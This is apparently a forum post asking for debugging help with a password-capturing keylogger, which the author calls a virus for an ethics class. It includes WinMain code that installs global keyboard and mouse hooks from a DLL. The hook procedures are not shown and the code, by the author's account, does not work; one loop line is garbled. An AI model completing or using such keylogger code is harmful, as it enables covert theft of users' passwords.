Original Post
I am currently writting a virus for my Computer Ethics Class(Extra Credit), and I have code that should work according to the Platform SDK. What the program should do is monitor all textual input by way of a windows hook, and through cues such as mouse clicks it should record input and save it to file on the presumption that it will eventually catch a password being entered. Here is the WinMain code:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrecINstance, LPSTR lpCmdLine, int nShowCmd)
{
HHOOK hkHook;
HHOOK hmHook;
hkHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle("PassLib"), NULL);
hmHook = SetWindowsHookEx(WH_MOUSE, MouseProc, GetModuleHandle("PassLib"), NULL);
for(;
{
if(KEY_DOWN(VK_ESCAPE))
break;
}
UnhookWindowsHookEx(hkHook);
UnhookWindowsHookEx(hmHook);
return NULL;
}
The functions MouseProc and KeyboardProc are located in a seperate DLL which is inplicitly linked. Should I try explicit linking? The reason I know this isn''t working is because I have a call to write "DEBUG" to a file at the beginning of each DLL function, as well as calls to open and close the file. I have also tried Setting the Windows Hooks from a function within the DLL. Nothing seems to work.
-Brent Robinson